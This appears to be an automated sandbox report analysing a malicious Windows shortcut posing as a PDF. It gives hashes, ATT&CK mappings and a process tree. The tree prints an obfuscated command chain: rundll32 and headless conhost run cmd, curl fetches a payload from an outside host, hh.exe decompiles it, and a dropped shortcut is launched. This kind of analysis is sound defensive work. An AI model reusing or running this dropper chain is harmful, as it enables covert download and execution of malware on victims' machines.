b10768d33d0e90c87a659decb86bffd5a3a64d089e05ce089d48aa4194bafb30

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/07/2026, 12:19

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General

Target
Cty TNHH Truong Minh/So do luong du lieu 023492992543959.pdf.lnk
Size 857B
Sample260710-phgfwsbv4k
SHA256 b10768d33d0e90c87a659decb86bffd5a3a64d089e05ce089d48aa4194bafb30
MD5 a75c8c78712257593a6ca9693691fcd7
SHA1 8d5ee6a871fc4fd18a02a3eea825e2911296ca5c
SHA512 cebb215ae42ac9e218ba05028f242ff7e1875b11b646abc0fcf2450cafa2ba2b74c311dddd1848af14846d65f1b4acb9f23d98e3697bbb8745ba9cecff6d72f1
TLSH
T1DE11682036FC6364F2372E39ACB153419E3DB91A8C30D60C8461D50D3C25B61EC25F27
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 1 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
4576	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 4576	8	cmd.exe	87
PID 4576 wrote to memory of 4336	4576	rundll32.exe	88
PID 4336 wrote to memory of 4468	4336	conhost.exe	89
PID 4468 wrote to memory of 3876	4468	cmd.exe	90
PID 4468 wrote to memory of 1412	4468	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Cty TNHH Truong Minh\So do luong du lieu 023492992543959.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" shell32.dll ShellExec_RunDLL conhost --headless cmd /c echo %cd%>C:\Users\Admin\AppData\Local\Temp\.0330c51c&curl htt^p://siggroyu.store/f/sant.jpg -Lsk""oC:\Users\Admin\AppData\Local\Temp/sant.jpg&hh -decompi""le C:\Users\Admin\AppData\Local\Temp C:\Users\Admin\AppData\Local\Temp/sant.jpg&C:\Users\Admin\AppData\Local\Temp/rad8""56B""A4.lnk
  2⤵
  - Checks computer location settings
  - System Binary Proxy Execution: Rundll32
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe" --headless cmd /c echo %cd%>C:\Users\Admin\AppData\Local\Temp\.0330c51c&curl htt^p://siggroyu.store/f/sant.jpg -Lsk""oC:\Users\Admin\AppData\Local\Temp/sant.jpg&hh -decompi""le C:\Users\Admin\AppData\Local\Temp C:\Users\Admin\AppData\Local\Temp/sant.jpg&C:\Users\Admin\AppData\Local\Temp/rad8""56B""A4.lnk
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4336
  - - C:\Windows\system32\cmd.exe
      cmd /c echo %cd%>C:\Users\Admin\AppData\Local\Temp\.0330c51c&curl htt^p://siggroyu.store/f/sant.jpg -LskoC:\Users\Admin\AppData\Local\Temp/sant.jpg&hh -decompile C:\Users\Admin\AppData\Local\Temp C:\Users\Admin\AppData\Local\Temp/sant.jpg&C:\Users\Admin\AppData\Local\Temp/rad856BA4.lnk
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Windows\system32\curl.exe
        
        curl http://siggroyu.store/f/sant.jpg -LskoC:\Users\Admin\AppData\Local\Temp/sant.jpg
        5⤵
        
        PID:3876
    - - C:\Windows\hh.exe
        
        hh -decompile C:\Users\Admin\AppData\Local\Temp C:\Users\Admin\AppData\Local\Temp/sant.jpg
        5⤵
        
        PID:1412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

sant.jpg

Path C:\Users\Admin\AppData\Local\Temp\sant.jpg
Size 162B
SHA256 9c8c654fe26ffff624d54b10e91c30938ac4019fe8c64eb6d739783b9b5f10d0
MD5 b6a1a37fc4ff7a4133530bd086b1e7ca
SHA1 67b4ee209cb3c69b38693c5884a8f5267c7407b5
SHA512 b572fd77899459294e8c437f5cfcaf092fa1021558ac8271e82cc57b1012c1c198899b8b303518c5910144a81e7f008524f8cf3b95bfefcc0f750a74a2e9b05a
TLSH
T1F7C08C67361E3C0CE7E322B512C3BAA0D09AE3B088DA1A108A40025331C31178AC7315
MD5 SHA1 SHA512 TLSH

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